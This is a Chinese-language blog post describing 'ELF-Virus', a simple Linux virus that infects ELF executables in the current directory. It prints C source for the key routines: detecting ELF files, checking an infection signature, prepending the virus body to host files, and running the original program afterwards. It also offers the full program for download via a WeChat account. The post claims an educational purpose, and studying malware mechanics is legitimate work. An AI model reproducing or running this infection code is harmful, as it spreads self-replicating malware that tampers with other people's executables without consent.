系统功能概述
ELF-Virus实现了一个简单的病毒程序,可以或许感染当前目录下的ELF格式的可实行文件。病毒程序通过将自身代码附加到目的文件中,并在文件末尾添加一个特定的署名来标记文件已被感染。感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。
系统架构
病毒程序:
病毒程序自己是一个ELF格式的可实行文件,它通过检查当前目录下的其他ELF文件,选择未被感染的文件举行感染。
感染机制:
病毒程序通过将自身代码附加到目的文件的末尾,并在文件末尾添加一个特定的署名(SIGNATURE)来标记文件已被感染。
实行机制:
感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。
主要焦点技能点
ELF文件识别:
病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'。- bool isELF(char* fileName) {
- if(fileName[0] == '.') return false;
- int hfd = open(fileName, O_RDONLY);
- char header[4];
- read(hfd, header, 4);
- close(hfd);
- return header[0] == 0x7f
- && header[1] == 'E'
- && header[2] == 'L'
- && header[3] == 'F';
- }
复制代码 感染检测:
病毒程序通过检查文件末尾的署名来判断文件是否已被感染。- bool isClean(char* fileName) {
- int signature;
- int fd = open(fileName, O_RDONLY);
- lseek(fd, -1 * sizeof(signature), SEEK_END);
- read(fd, &signature, sizeof(signature));
- close(fd);
- return signature != SIGNATURE;
- }
复制代码 文件感染:
病毒程序通过创建一个临时文件,将病毒代码、原始文件内容和署名依次写入临时文件,然后将临时文件重命名为原始文件名,完成感染过程。- void infectHostFile(char* hostFileName, int vfd) {
- int hfd = open(hostFileName, O_RDONLY);
- struct stat st;
- fstat(hfd, &st);
- int hostSize = st.st_size;
- int signature = SIGNATURE;
- int tfd = creat(TEMP_FILENAME, st.st_mode);
- sendfile(tfd, vfd, NULL, SIZE);
- sendfile(tfd, hfd, NULL, hostSize);
- write(tfd, &signature, sizeof(signature));
- rename(TEMP_FILENAME, hostFileName);
- close(tfd);
- close(hfd);
- }
复制代码 实行原始程序:
感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。- void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
- int tfd = creat(TEMP_FILENAME, mode);
- lseek(vfd, SIZE, SEEK_SET);
- int signatureSize = sizeof(SIGNATURE);
- int hostSize = totalSize - SIZE - signatureSize;
- sendfile(tfd, vfd, NULL, hostSize);
- close(tfd);
- pid_t pid = fork();
- if(pid == 0) {
- execv(TEMP_FILENAME, argv);
- }
- else{
- waitpid(pid, NULL, 0);
- unlink(TEMP_FILENAME);
- }
- }
复制代码 应用场景
ELF-Virus主要用于研究和理解病毒程序的根本工作原理,以及如何通过代码实现文件的感染和实行。它可以用于教学目的,帮助学习者理解恶意软件的根本工作机制。
系统总结
ELF-Virus程序通过简单的文件操作和ELF文件格式的识别,实现了对目的文件的感染。感染后的文件在实行时会先实行病毒代码,然后再实行原始的程序代码。该程序展示了病毒程序的根本工作原理,具有一定的教诲意义,但同时也提醒我们注意计算机安全,防止恶意软件的传播和感染。
需要ELF-Virus分析的朋友可以在公众号回复"ELF-Virus"举行下载
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |